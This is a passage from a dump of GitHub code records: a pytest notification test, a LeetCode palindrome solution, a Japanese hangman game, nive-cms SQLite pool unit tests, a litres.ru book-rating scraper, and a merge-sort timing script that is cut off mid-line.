is_immediate\n    )\n    notifier = comments.CommentNotifier(ns)\n    subscription = SubscriptionFactory.create(user=ns.user, is_comment=is_comment)\n    event = notifier.create_comment_event(subscription, \"h\")\n\n    assert event.post_id == subscription.post_id\n    assert event.comment_id == \"h\"\n\n    if is_immediate:\n        assert event.email_notification is not None\n    else:\n        assert event.email_notification is None\n\n\n@pytest.mark.betamax\n@pytest.mark.parametrize(\"is_parent_comment\", [True, False])\ndef test_send_notification(\n    mocker, is_parent_comment, reddit_factories, private_channel_and_contributor\n):\n    \"\"\"Tests send_notification\"\"\"\n    channel, user = private_channel_and_contributor\n    ns = NotificationSettingsFactory.create(\n        user=user, comments_type=True, via_email=True, immediate=True\n    )\n    notifier = comments.CommentNotifier(ns)\n    send_messages_mock = mocker.patch(\"mail.api.send_messages\")\n    post = reddit_factories.text_post(\"just a post\", user, channel=channel)\n    comment = reddit_factories.comment(\"just a comment\", user, post_id=post.id)\n    if is_parent_comment:\n        subscription = Subscription.objects.create(\n            user=user, comment_id=comment.id, post_id=post.id\n        )\n        comment = reddit_factories.comment(\"reply comment\", user, comment_id=comment.id)\n    else:\n        subscription = Subscription.objects.create(user=user, post_id=post.id)\n\n    event = notifier.create_comment_event(subscription, comment.id)\n    note = event.email_notification\n    note.state = EmailNotification.STATE_SENDING\n    note.save()\n\n    notifier.send_notification(note)\n\n    send_messages_mock.assert_called_once_with([any_instance_of(EmailMessage)])\n","repo_name":"mitodl/open-discussions","sub_path":"notifications/notifiers/comments_test.py","file_name":"comments_test.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"21894914169","text":"#\n# @lc app=leetcode id=9 lang=python3\n#\n# [9] Palindrome Number\n#\n\n# @lc code=start\n\n\nclass Solution:\n    def isPalindrome(self, x: int) -> bool:\n        stored_num = x\n        reversed_num = 0\n        while stored_num > 0:\n            remainder = stored_num % 10\n            reversed_num = reversed_num * 10 + remainder\n            stored_num = stored_num//10\n        return reversed_num == x\n        \n# @lc code=end","repo_name":"ferrumie/Python-Algos","sub_path":"9.palindrome-number.py","file_name":"9.palindrome-number.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6645807166","text":"\"\"\"\nプレイヤー　　　　       プレイヤー１、プレイヤー２\nプレイヤー１　 　      　好きな単語を選んで隠しておく\n                    　単語の文字数だけアンダーバーを引く\n                    　プレイヤー２が回答した文字が隠してある単語に含まれていたら、書いておいたアンダーバーのその文字があるbrきところにその文字を表示\n                    　ひとつの単語に同じ文字が２個以上含まれている場合は回答１回につき１文字だけ表示\n                    　プレイヤー２の回答が間違っていたら吊られた人の絵のパーツをひとつ書き込む（頭から始める）\nプレイヤー２            単語を予想して１回に１文字を回答する\n勝敗　　               吊られた絵が完成する前に隠された文字を全て当てられたらプレイヤー２の勝ち\n                    　絵が完成したらプレイヤー２の負け\n\n\"\"\"\n\ndef hangman(word):\n    wrong = 0\n    stages = [\"\",\n              \"__________          \",\n              \"|         |\",\n              \"|         |         \",\n              \"|         O         \",\n              \"|        /|\\        \",\n              \"|        / \\        \",\n              \"|                   \"\n              ]\n    rletters = list(word)\n    board = [\"_\"] * len(word)\n    win = False\n    print(\"ハングマンへようこそ！\")\n\n\n    while wrong < len(stages)-1:\n        print(\"\\n\")\n        msg = \"１文字を予想してね    \"\n        char = input(msg)\n        if char in rletters:\n            cind = rletters.index(char)\n            board[cind] = char\n            rletters[cind] = \"$\"\n        else :\n            wrong += 1\n        print(\" \".join(board))\n        e = wrong + 1\n        print(\"\\n\".join(stages[0:e]))\n        if \"_\" not in board:\n            print(\"あなたの勝ち！\")\n            print(\"_\".join(board))\n            win = True\n            break\n    if not win :\n        print(\"\\n\".join(stages[0:wrong+1]))\n        print(\"あなたの負け！正解は　{}.\")\n\nhangman(\"cat\")\n","repo_name":"wkenji4441/hangman","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39291407755","text":"# -*- coding: latin-1 -*-\n\nimport copy\nfrom time import time\nimport unittest\nfrom types import UnicodeType\n\nfrom nive.definitions import DatabaseConf\nfrom nive.utils.dataPool2.base import *\nfrom nive.utils.dataPool2.sqlite3Pool import Sqlite3\nfrom nive.utils.path import DvPath\n\nfrom sqlite3 import OperationalError\n\nfrom nive.tests.db_app import app_db\nfrom test_Base import conf, stdMeta, struct, SystemFlds, Fulltext, Files, data1_1, data2_1, meta1, file1_1, file1_2\n\nfrom nive.tests import __local\n\n# configuration ---------------------------------------------------------------------------\nconn = DatabaseConf(\n    dbName = __local.ROOT+\"nive.db\"\n)\n\ndef getPool():\n    p = Sqlite3(connParam=conn, **conf)\n    p.structure.Init(structure=struct, stdMeta=struct[u\"pool_meta\"])\n    return p\n\n\ncountdb = 1\n\nclass dbTest(object):\n\n    def tearDown(self):\n        self.pool.Close()\n\n    def statdb(self):\n        c = self.pool.GetCountEntries()\n        countdb = c\n        #print \"Count entries in DB:\", c\n        return c\n\n    def checkdb(self):\n        app_db()\n\n\n    # entries ---------------------------------------------------------------------------\n    def create1(self):\n        #print \"Create Entry\",\n        e=self.pool.CreateEntry(u\"data1\", user=\"unittest\")\n        e.Commit(user=\"unittest\")\n        #print e.GetID(), \"OK\"\n        return e.GetID()\n\n    def create2(self):\n        #print \"Create Entry\",\n        e=self.pool.CreateEntry(u\"data2\", user=\"unittest\")\n        e.Commit(user=\"unittest\")\n        #print e.GetID(), \"OK\"\n        return e.GetID()\n\n    def get(self, id):\n        #print \"Load entry\", id\n        e=self.pool.GetEntry(id)\n        #print \"OK\"\n        return e\n\n    # set ---------------------------------------\n    def set1(self, id):\n        #print \"Store data\", id,\n        e=self.pool.GetEntry(id)\n        self.assert_(e)\n        e.data.update(data1_1)\n        e.meta.update(meta1)\n        e.Commit(user=\"unittest\")\n        self.assert_(e.GetMeta())\n        d=e.GetData()\n        self.assert_(d.get(u\"ftext\")    == data1_1.get(u\"ftext\")    )\n        self.assert_(d.get(u\"fnumber\")    == data1_1.get(u\"fnumber\")    )\n        self.assert_(self.pool.GetDBDate(str(d.get(u\"fdate\"))) == self.pool.GetDBDate(str(data1_1.get(u\"fdate\"))))\n        self.assert_(d.get(u\"flist\")    == data1_1.get(u\"flist\")    )\n        self.assert_(d.get(u\"fmselect\") == data1_1.get(u\"fmselect\") )\n        self.assert_(d.get(u\"funit\")    == data1_1.get(u\"funit\")    )\n        self.assert_(d.get(u\"funitlist\")== data1_1.get(u\"funitlist\"))\n        self.assert_(type(d.get(u\"ftext\"))==UnicodeType)\n        #print \"OK\"\n\n    def set2(self, id):\n        #print \"Store data\", id,\n        e=self.pool.GetEntry(id)\n        self.assert_(e)\n        e.data.update(data2_1)\n        e.meta.update(meta1)\n        e.Commit(user=\"unittest\")\n        self.assert_(e.GetMeta())\n        d=e.GetData()\n        self.assert_(d.get(u\"ftext\")    == data2_1.get(u\"ftext\")    )\n        self.assert_(d.get(u\"fstr\")     == data2_1.get(u\"fstr\")    )\n        self.assert_(type(d.get(u\"ftext\"))==UnicodeType    )\n        #print \"OK\"\n\n    def setfile1(self, id):\n        #print \"Store file\", id,\n        e=self.pool.GetEntry(id)\n        self.assert_(e)\n        self.assert_(e.CommitFile(u\"file1\", {\"file\":file1_1, \"filename\":\"file1.txt\"}))\n        e.Commit(user=\"unittest\")\n        self.assert_(e.GetFile(u\"file1\").read() == file1_1)\n        #print \"OK\"\n\n    def setfile2(self, id):\n        #print \"Store file\", id,\n        e=self.pool.GetEntry(id)\n        self.assert_(e)\n        self.assert_(e.CommitFile(u\"file2\", {\"file\":file1_2, \"filename\":u\"file2.txt\"}))\n        e.Commit(user=\"unittest\")\n        self.assert_(e.GetFile(u\"file2\").read() == file1_2)\n        #print \"OK\"\n\n\n    # get --------------------------------------------------------------------------\n    def data1(self, id):\n        #print \"Check entry data\", id,\n        e=self.pool.GetEntry(id)\n        d=e.GetData()\n        self.assert_(d.get(u\"ftext\")    == data1_1.get(u\"ftext\")    )\n        self.assert_(d.get(u\"fnumber\")    == data1_1.get(u\"fnumber\")    )\n        self.assert_(self.pool.GetDBDate(str(d.get(u\"fdate\"))) == self.pool.GetDBDate(str(data1_1.get(u\"fdate\"))))\n        self.assert_(d.get(u\"flist\")    == data1_1.get(u\"flist\")    )\n        self.assert_(d.get(u\"fmselect\") == data1_1.get(u\"fmselect\") )\n        self.assert_(d.get(u\"funit\")    == data1_1.get(u\"funit\")    )\n        self.assert_(d.get(u\"funitlist\")== data1_1.get(u\"funitlist\"))\n        self.assert_(type(d.get(u\"ftext\"))==UnicodeType    )\n        #print \"OK\"\n\n    def data2(self, id):\n        #print \"Check entry data\", id,\n        e=self.pool.GetEntry(id)\n        d=e.GetData()\n        self.assert_(d.get(u\"ftext\")    == data2_1.get(u\"ftext\")    )\n        self.assert_(d.get(u\"fstr\")     == data2_1.get(u\"fstr\")    )\n        self.assert_(type(d.get(u\"ftext\"))==UnicodeType    )\n        #print \"OK\"\n\n    def file1(self, id):\n        #print \"Load file\", id,\n        e=self.pool.GetEntry(id)\n        self.assert_(e.GetFile(u\"file1\").read() == file1_1)\n        #print \"OK\"\n\n    def file2(self, id):\n        #print \"Load file\", id,\n        e=self.pool.GetEntry(id)\n        self.assert_(e.GetFile(u\"file2\").read() == file1_2)\n        #print \"OK\"\n\n    def fileErr(self, id):\n        #print \"Load non existing file\", id,\n        e=self.pool.GetEntry(id)\n        self.assert_(e.GetFile(u\"file1\") == None)\n        #print \"OK\"\n\n    # getstream --------------------------------------------------------------------------\n    def file1stream(self, id):\n        #print \"Load file\", id,\n        e=self.pool.GetEntry(id)\n        s=e.GetFile(u\"file1\")\n        d = s.read()\n        s.close()\n        self.assert_(d == file1_1)\n        #print \"OK\"\n\n    def file2stream(self, id):\n        #print \"Load file\", id,\n        e=self.pool.GetEntry(id)\n        s=e.GetFile(u\"file2\")\n        s.read()\n        s.close()\n        self.assert_(d == file1_2)\n        #print \"OK\"\n\n    # functions ------------------------------------------------------------------------\n    def stat(self, id):\n        e=self.pool.GetEntry(id)\n        self.assert_(e.GetMetaField(u\"pool_createdby\")==u\"unittest\")\n        self.assert_(e.GetMetaField(u\"pool_changedby\")==u\"unittest\")\n        #print \"Create: %s by %s    Changed: %s by %s\" % (e.GetMetaField(\"pool_create\"), e.GetMetaField(\"pool_createdby\"), e.GetMetaField(\"pool_change\"), e.GetMetaField(\"pool_changedby\"))\n\n    def delete(self, id):\n        #print \"Delete\", id,\n        e=self.pool.GetEntry(id)\n        self.assert_(e)\n        del e\n        self.assert_(self.pool.DeleteEntry(id))\n        self.pool.Commit(user=\"unittest\")\n\n    def duplicate(self, id,file=True):\n        #print \"Duplicate\", id,\n        e=self.pool.GetEntry(id)\n        n=e.Duplicate(file)\n        self.assert_(n)\n        n.Commit(user=\"unittest\")\n        #print \"OK\"\n        return n.GetID()\n\n    def filetest(self, id):\n        #print \"File test\", id,\n        e=self.pool.GetEntry(id)\n        self.assert_(e)\n\n        self.assertItemsEqual(e.FileKeys(), [u\"file1\",u\"file2\"])\n\n        self.assert_(e.GetFile(u\"file1\").filename==u\"file1.txt\")\n        self.assert_(e.GetFile(u\"file2\").filename==u\"file2.txt\")\n        self.assert_(type(e.GetFile(u\"file1\").filename)==UnicodeType)\n        self.assert_(type(e.GetFile(u\"file2\").filename)==UnicodeType)\n\n        self.assert_(e.GetFile(u\"file1\"))\n        self.assert_(e.GetFile(u\"file2\"))\n        self.assert_(e.GetFile(u\"file3\")==None)\n        self.assert_(e.GetFile(u\"\")==None)\n\n        l=e.Files({})\n        self.assert_(len(l)==2)\n        l2=[]\n        for f in l:\n            l2.append(f[u\"filekey\"])\n        self.assert_(u\"file1\" in l2)\n        self.assert_(u\"file2\" in l2)\n        #print \"OK\"\n\n\n\n\n\n    # new test fncs -----------------------------------------------------------------------------\n\n    def test_create_empty(self):\n\n        t = time()\n        c = self.statdb()\n        # creating\n        id1=self.create1()\n        e=self.get(id1)\n        del e\n        self.stat(id1)\n\n        id2=self.create2()\n        e=self.get(id2)\n        del e\n        self.stat(id2)\n\n        # cnt    ok\n        c2 = self.statdb()\n        self.assert_(c+2==c2)\n\n        # deleting\n        self.delete(id1)\n        self.delete(id2)\n        c3 = self.statdb()\n        self.assert_(c==c3)\n\n\n\n\n    def test_create_base(self):\n\n        t = time()\n        c = self.statdb()\n        # creating\n        id1=self.create1()\n        e=self.get(id1)\n        del e\n        self.stat(id1)\n\n        id2=self.create2()\n        e=self.get(id2)\n        del e\n        self.stat(id2)\n\n        # cnt    ok\n        c2 = self.statdb()\n        self.assert_(c+2==c2)\n\n        #update data\n        self.set1(id1)\n        self.set2(id2)\n        self.setfile1(id1)\n        self.setfile2(id1)\n\n        #load data\n        self.data1(id1)\n        self.data2(id2)\n        self.file1(id1)\n        self.file2(id1)\n\n        # deleting\n        self.delete(id1)\n        self.delete(id2)\n        c3 = self.statdb()\n        self.assert_(c==c3)\n\n\n\n    def test_files_base(self):\n\n        t = time()\n        c = self.statdb()\n\n        # creating\n        id1=self.create1()\n        e=self.get(id1)\n\n        #update data\n        self.set1(id1)\n        self.setfile1(id1)\n        self.setfile2(id1)\n\n        #load data\n        self.file1(id1)\n        self.file2(id1)\n\n        # file\n        self.filetest(id1)\n\n        # deleting\n        self.delete(id1)\n        c3 = self.statdb()\n        self.assert_(c==c3)\n\n\n    def test_preload(self):\n\n        t = time()\n        self.statdb()\n\n        id=self.create1()\n\n        #print \"Preload Skip\", id,\n        e = self.pool.GetEntry(id, preload=u\"skip\")\n        self.assert_(e.GetDataRef()>0 and e.GetDataTbl()!=u\"\")\n        del e\n        #print \"OK\"\n\n        #print \"Preload Meta\", id,\n        e = self.pool.GetEntry(id, preload=u\"meta\")\n        self.assert_(e.GetDataRef()>0 and e.GetDataTbl()!=u\"\")\n        del e\n        #print \"OK\"\n\n        #print \"Preload All\", id,\n        e = self.pool.GetEntry(id, preload=u\"all\")\n        self.assert_(e.GetDataRef()>0 and e.GetDataTbl()!=u\"\")\n        del e\n        #print \"OK\"\n\n        #print \"Preload MetaData\", id,\n        e = self.pool.GetEntry(id, preload=u\"metadata\")\n        self.assert_(e.GetDataRef()>0 and e.GetDataTbl()!=u\"\")\n        del e\n        #print \"OK\"\n\n        #print \"Preload StdMeta\", id,\n        e = self.pool.GetEntry(id, preload=u\"stdmeta\")\n        self.assert_(e.GetDataRef()>0 and e.GetDataTbl()!=u\"\")\n        del e\n        #print \"OK\"\n\n        #print \"Preload StdMetaData\", id,\n        e = self.pool.GetEntry(id, preload=u\"stdmetadata\")\n        self.assert_(e.GetDataRef()>0 and e.GetDataTbl()!=u\"\")\n        del e\n        #print \"OK\"\n\n        self.delete(id)\n        self.assert_(self.pool.IsIDUsed(id) == False)\n\n\n    def test_duplicate_base(self):\n\n        t = time()\n        c=self.statdb()\n\n        # creating\n        id1=self.create1()\n        id2=self.create2()\n\n        # cnt    ok\n        c2 = self.statdb()\n        self.assert_(c+2==c2)\n\n        #update data\n        self.set1(id1)\n        self.set2(id2)\n        self.setfile1(id1)\n        self.setfile2(id1)\n\n        #load data\n        self.data1(id1)\n        self.data2(id2)\n        self.file1(id1)\n        self.file2(id1)\n\n        # duplicate\n        id3=self.duplicate( id1)\n        id4=self.duplicate( id2)\n        id5=self.duplicate( id1, file=False)\n\n        #load dupl. data\n        self.data1(id3)\n        self.data1(id5)\n        self.data2(id4)\n        self.file1(id3)\n        self.file2(id3)\n        self.fileErr(id5)\n\n        # deleting\n        self.delete(id1)\n        self.delete(id2)\n        self.delete(id3)\n        self.delete(id4)\n        self.delete(id5)\n        c3 = self.statdb()\n        self.assert_(c==c3)\n\n\n    def test_sql(self):\n\n        t = time()\n        sql, values=self.pool.FmtSQLSelect(list(stdMeta)+list(struct[u\"data1\"]),\n                        {u\"pool_type\": \"data1\", u\"ftext\": \"123\", u\"fnumber\": 300000},\n                        sort = u\"title, id, fnumber\",\n                        ascending = 0,\n                        dataTable = u\"data1\",\n                        operators={u\"pool_type\":u\"=\", u\"ftext\": u\"<>\", u\"fnumber\": u\"<\"},\n                        start=1,\n                        max=123)\n        self.pool.Query(sql, values)\n        c=self.pool.Execute(sql, values)\n        c.close()\n        #print \"OK\"\n\n        sql, values=self.pool.FmtSQLSelect(list(struct[u\"data1\"]),\n                                     {u\"ftext\": \"\", u\"fnumber\": 3},\n                                     dataTable=u\"data1\",\n                                     sort = u\"id, fnumber\",\n                                     ascending = 1,\n                                     operators={u\"ftext\": u\"=\", u\"fnumber\": u\"=\"},\n                                     start=1,\n                                     max=123,\n                                     singleTable=1)\n        self.pool.Query(sql, values)\n        c=self.pool.Execute(sql, values)\n        c.close()\n        #print \"OK\"\n\n        #print \"GetFulltextSQL\",\n        sql, values=self.pool.GetFulltextSQL(u\"is\",\n                            list(stdMeta)+list(struct[u\"data1\"]),\n                            {},\n                            sort = u\"title\",\n                            ascending = 1,\n                            dataTable = u\"data1\")\n        self.pool.Query(sql, values)\n        c=self.pool.Execute(sql, values)\n        c.close()\n        #print \"OK\"\n\n\n    def test_sql2(self):\n\n        t = time()\n        sql1, values1=self.pool.FmtSQLSelect(list(stdMeta)+list(struct[u\"data1\"]),\n                        {u\"pool_type\": \"data1\", u\"ftext\": \"\", u\"fnumber\": 3},\n                        sort = u\"title, id, fnumber\",\n                        ascending = 0,\n                        dataTable = u\"data1\",\n                        operators={u\"pool_type\":u\"=\", u\"ftext\": u\"<>\", u\"fnumber\": u\">\"},\n                        start=1,\n                        max=123)\n        sql2, values2=self.pool.FmtSQLSelect(list(struct[u\"data1\"]),\n                                     {u\"ftext\": u\"\", u\"fnumber\": 3},\n                                     dataTable=u\"data1\",\n                                     sort = u\"id, fnumber\",\n                                     ascending = 1,\n                                     operators={u\"ftext\": u\"<>\", u\"fnumber\": u\">\"},\n                                     start=1,\n                                     max=123,\n                                     singleTable=1)\n        sql3, values3=self.pool.GetFulltextSQL(u\"is\",\n                            list(stdMeta)+list(struct[u\"data1\"]),\n                            {},\n                            sort = u\"title\",\n                            ascending = 1,\n                            dataTable = u\"data1\")\n        c=self.pool.connection.cursor()\n        c.execute(sql1, values1)\n        c.execute(sql2, values2)\n        c.execute(sql3, values3)\n        \n        self.pool.SelectFields(u\"data1\", fields=(u\"id\",), idValues=[0], idColumn=u\"id\")\n        self.pool.SelectFields(u\"pool_meta\", fields=(u\"id\",u\"title\",u\"pool_type\"), idValues=[1,2,3,4,5], idColumn=u\"pool_unitref\")\n\n\n    def test_insertdelete(self):\n        self.pool.DeleteRecords(\"pool_meta\", {\"pool_type\": \"notype\", \"title\": \"test entry\"}, cursor=None)\n        self.pool.Commit()\n\n        self.pool.InsertFields(\"pool_meta\", {\"pool_type\": \"notype\", \"title\": \"test entry\"}, cursor = None)\n        self.pool.Commit()\n        sql, values = self.pool.FmtSQLSelect([\"id\"], {\"pool_type\": \"notype\", \"title\": \"test entry\"}, dataTable=\"pool_meta\", singleTable=1) \n        id = self.pool.Query(sql, values)\n        self.assert_(id)\n        \n        self.pool.UpdateFields(\"pool_meta\", id[0][0], {\"pool_type\": \"notype 123\", \"title\": \"test entry 123\"}, cursor = None)\n        self.pool.Commit()\n        sql, values = self.pool.FmtSQLSelect([\"id\"], {\"pool_type\": \"notype\", \"title\": \"test entry\"}, dataTable=\"pool_meta\", singleTable=1) \n        id = self.pool.Query(sql, values)\n        self.assertFalse(id)\n        sql, values = self.pool.FmtSQLSelect([\"id\"], {\"pool_type\": \"notype 123\", \"title\": \"test entry 123\"}, dataTable=\"pool_meta\", singleTable=1) \n        id = self.pool.Query(sql, values)\n        self.assert_(id)\n        \n        for i in id:\n            self.pool.DeleteRecords(\"pool_meta\", {\"id\":i[0]}, cursor=None)\n        self.pool.Commit()\n        sql, values = self.pool.FmtSQLSelect([\"id\"], {\"pool_type\": \"notype 123\", \"title\": \"test entry 123\"}, dataTable=\"pool_meta\", singleTable=1) \n        id = self.pool.Query(sql, values)\n        self.assertFalse(id)\n\n\n    def test_groups(self):\n        userid = 123\n        group = u\"group:test\"\n        id = 1\n        ref = u\"o\"\n        self.pool.RemoveGroups(id=id)\n        self.assertFalse(self.pool.GetGroups(id, userid, group))\n        self.assertFalse(self.pool.GetGroups(id))\n        self.pool.AddGroup(id, userid, group)\n        self.assert_(self.pool.GetGroups(id, userid, group))\n        self.assert_(self.pool.GetGroups(id))\n        \n        self.pool.RemoveGroups(userid=userid, group=group, id=id)\n        self.assertFalse(self.pool.GetGroups(id, userid, group))\n\n\n\n\n    def test_search_files(self):\n\n        t = time()\n        c = self.statdb()\n\n        # creating\n        id1=self.create1()\n        id2=self.create1()\n        id3=self.create1()\n\n        #update data\n        self.set1(id1)\n        self.setfile1(id1)\n        self.setfile2(id1)\n\n        self.set1(id2)\n        self.setfile1(id2)\n        self.setfile2(id2)\n\n        self.set1(id3)\n        self.setfile1(id3)\n        self.setfile2(id3)\n\n        dbfile = self.pool\n        #print \"SearchFilename\",\n        f1 = dbfile.SearchFilename(u\"file1.txt\")\n        #print len(f1),\n        self.assert_(len(f1)>=3)\n        f2 = dbfile.SearchFilename(u\"file2.txt\")\n        #print len(f2),\n        self.assert_(len(f2)>=3)\n        f3 = dbfile.SearchFilename(u\"fileXXX.txt\")\n        #print len(f3),\n        self.assert_(len(f3)==0)\n        f4 = dbfile.SearchFilename(u\"file%\")\n        #print len(f4),\n        if countdb == 0:\n            self.assert_(len(f4)>=len(f1)+len(f2))\n        #print \"OK\"\n\n        #print \"SearchFiles\",\n        parameter={u\"id\": (id1,id2,id3)}\n        operators={u\"id\": u\"IN\"}\n        f = dbfile.SearchFiles(parameter, operators=operators) #sort=\"filename\",\n        #print len(f),\n        if countdb==0:\n            self.assert_(len(f)==6)\n        parameter[u\"filename\"] = u\"file2.txt\"\n        operators[u\"filename\"] = u\"=\"\n        f = dbfile.SearchFiles(parameter, operators=operators) #sort=\"size\",\n        #print len(f),\n        if countdb==0:\n            self.assert_(len(f)==3)\n        #print \"OK\"\n\n        # deleting\n        self.delete(id1)\n        self.delete(id2)\n        self.delete(id3)\n        c3 = self.statdb()\n        self.assert_(c==c3)\n\n\n    def test_tree(self):\n        base = self.pool\n        #base.GetContainedIDs(base=0, sort=u\"title\", parameter=u\"\")\n        #base.GetTree(flds=[u\"id\"], sort=u\"title\", base=0, parameter=u\"\")\n        base.GetParentPath(1)\n        base.GetParentTitles(1)\n\n\n\n\n\nclass Sqlite3Test(dbTest, unittest.TestCase):\n    \"\"\"\n    \"\"\"\n    def setUp(self):\n        self.pool = getPool()\n        dbfile = DvPath(conn[\"dbName\"])\n        if not dbfile.IsFile():\n            dbfile.CreateDirectories()\n        self.checkdb()\n        self.connect()\n\n    def tearDown(self):\n        self.pool.Close()\n\n    def connect(self):\n        #print \"Connect DB on\", conn[\"host\"],\n        self.pool.CreateConnection(conn)\n        self.assert_(self.pool.connection.IsConnected())\n        #print \"OK\"\n\n    \n\nif __name__ == '__main__':\n    unittest.main()\n\n\n","repo_name":"nive-cms/nive","sub_path":"nive/utils/dataPool2/tests/test_db.py","file_name":"test_db.py","file_ext":"py","file_size_in_byte":19690,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"19819492969","text":"\"\"\"File that defines the scraper to parse books' rating from 'lirtes.ru'\"\"\"\n\n\nfrom bs4 import BeautifulSoup\n\nimport requests\nimport os\nimport csv\n\n\nclass Scraper:\n    def get_files(self):\n        \"\"\"Get files from corpus\"\"\"\n        # Changing directory to corpus location\n        if \"/rating-scraper\" in os.path.abspath(os.curdir):\n            os.chdir(\"..\")\n        list_of_files = os.listdir(\"corpus txt\")\n        return list_of_files\n\n    def get_mark(self, book_name):\n        \"\"\"Get marks of a book from 'litres'\"\"\"\n        search_url = \"https://www.litres.ru/pages/rmd_search_arts/?q=\" + book_name\n        search_response = requests.get(search_url)\n        soup = BeautifulSoup(search_response.text, \"lxml\")\n        # Checking if the book has been found\n        if soup.find(\"div\", class_=\"ab-container b_interested__book\") is not None:\n            return \"Not found\"\n        # Playing safe with the parser\n        try:\n            book_link = soup.find(\"a\", class_=\"art-item__name__href\").get(\"href\")\n        except AttributeError:\n            return \"Not found\"\n        book_url = \"https://www.litres.ru\" + book_link\n        book_response = requests.get(book_url)\n        soup = BeautifulSoup(book_response.text, \"lxml\")\n        marks = soup.find_all(\"div\", class_=\"rating-number bottomline-rating\")\n        all_votes = soup.find_all(\"div\", class_=\"votes-count bottomline-rating-count\")\n        # Comparing names of a book\n        if (\n            book_name\n            in soup.find(\"div\", class_=\"biblio_book_name biblio-book__title-block\").text\n        ):\n            pass\n        else:\n            return \"COULD BE AN ERROR\"\n        # Checking for livelib marks\n        if len(marks) > 1:\n            litres_mark, livelib_mark = marks[0].text, marks[1].text\n            litres_votes, livelib_votes = all_votes[0].text, all_votes[1].text\n        else:\n            litres_mark, livelib_mark = marks[0].text, \"None\"\n            litres_votes, livelib_votes = all_votes[0].text, \"None\"\n        return (\n            litres_mark + \"-\" + litres_votes + \"-\" + livelib_mark + \"-\" + livelib_votes\n        )\n\n    def scrape_marks(self):\n        \"\"\"Write parsed data to csv-file\"\"\"\n        with open(\"marks.csv\", \"a\", newline=\"\") as mark_file:\n            writer = csv.writer(mark_file, quotechar='\"')\n            for book_name in self.get_files():\n                # Tracing the book to be parsed\n                print(book_name)\n                # Example: |War and Peace - Leo Tolstoy.txt| -> War and Peace, Leo Tolstoy, txt\n                if not len(book_name.split(\"-\")) > 1:\n                    writer.writerow(\"not found\")\n                    continue\n                title_and_author = [\n                    book_name.split(\"-\")[0],\n                    book_name.split(\"-\")[1].split(\".\")[0],\n                ]\n                writer.writerow(\n                    title_and_author + self.get_mark(book_name.split(\".\")[0]).split(\"-\")\n                )\n\n    def filter_marks():\n        \"\"\"Cut unknown books\"\"\"\n        # Changing directory to scraper location\n        if not \"/rating-scraper\" in os.path.abspath(os.curdir):\n            os.chdir(os.path.abspath(\"rating-scraper\"))\n        with open(\"evaluated_texts.csv\", \"a\", newline=\"\") as eval_file:\n            with open(\"marks.csv\", \"a+\", newline=\"\") as mark_file:\n                reader = csv.reader(mark_file, quotechar='\"')\n                writer = csv.writer(eval_file, quotechar='\"')\n                for row in reader:\n                    if not \"Not found\" in row:\n                        print(\",\".join(row))\n                        writer.writerow(row)\n\n    def check_marked(self) -> list:\n        \"\"\"Checks for possible parser errors\"\"\"\n        if not \"/rating-scraper\" in os.path.abspath(os.curdir):\n            os.chdir(os.path.abspath(\"src/rating-scraper\"))\n        with open(\"evaluated_texts.csv\", \"a+\", newline=\"\") as eval_file:\n            reader = csv.reader(eval_file, quotechar='\"')\n            suspicion_lst = []\n            for row in reader:\n                if self.get_mark(row[0]) != \"COULD BE AN ERROR\":\n                    continue\n                else:\n                    row = [str(i) for i in row]\n                    suspicion_lst.append(\" \".join(row))\n\n        return suspicion_lst\n\n    def find_path(self) -> str:\n        \"\"\"Gets the path to the file\"\"\"\n        if not \"/rating-scraper\" in os.path.abspath(os.curdir):\n            os.chdir(os.path.abspath(\"src/rating-scraper\"))\n        with open(\"evaluated_texts.csv\", \"r\", newline=\"\") as file:\n            reader = csv.reader(file, quotechar='\"')\n            counter = 0\n            list_of_files = []\n            csv_path = []\n            for row in reader:\n                for current_file in sorted(self.get_files()):\n                    if row[0] in current_file:\n                        if current_file in list_of_files:\n                            continue\n                        counter += 1\n                        list_of_files.append(current_file)\n                        row.append(os.path.abspath(current_file))\n                        csv_path.append(row)\n                        break\n\n        return csv_path\n\n\nsc = Scraper()\n# print(sc.get_mark(\"Война и мир\"))\n","repo_name":"alpotekhin/literary-rating-predictor","sub_path":"src/rating-scraper/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":5225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32526633415","text":"import matplotlib.pyplot as plt\r\nimport time\r\nimport random\r\nmylist = []\r\nnumbers = []\r\nsec = []\r\n\r\n\r\ndef mergeSort(arr):\r\n    if len(arr) > 1:\r\n        mid = len(arr)//2  # Finding the mid of the array\r\n        L = arr[:mid]  # Dividing the array elements\r\n        R = arr[mid:]  # into 2 halves\r\n\r\n        mergeSort(L)  # Sorting the first half\r\n        mergeSort(R)  # Sorting the second half\r\n\r\n        i = j = k = 0\r\n\r\n        # Copy data to temp arrays L[] and R[]\r\n        while i < len(L) and j < len(R):\r\n            if L[i] < R[j]:\r\n                arr[k] = L[i]\r\n                i += 1\r\n            else:\r\n                arr[k] = R[j]\r\n                j += 1\r\n            k += 1\r\n\r\n        # Checking if any element was left\r\n        while i < len(L):\r\n            arr[k] = L[i]\r\n            i += 1\r\n            k += 1\r\n\r\n        while j < len(R):\r\n            arr[k] = R[j]\r\n            j += 1\r\n            k += 1\r\n    return arr\r\n\r\n\r\nfor num in range(10, 100, 10):\r\n    for i in range(0, num):\r\n        x = random.randint(1, 100)\r\n        mylist.append(x)\r\n    start = time.perf_counter()\r\n    mergeSort(mylist)\r\n    end = time.perf_counter()\r\n    numbers.append(num)\r\n    sec.append(end-start)\r\n# print(numbers)\r\n# print(sec)\r\nplt.xlabel(\"size of inputs\")\r\nplt.ylabel(\"time taken\")\r\nplt.title(\"graph for merge sort\")\r\nplt.plot(numbers, 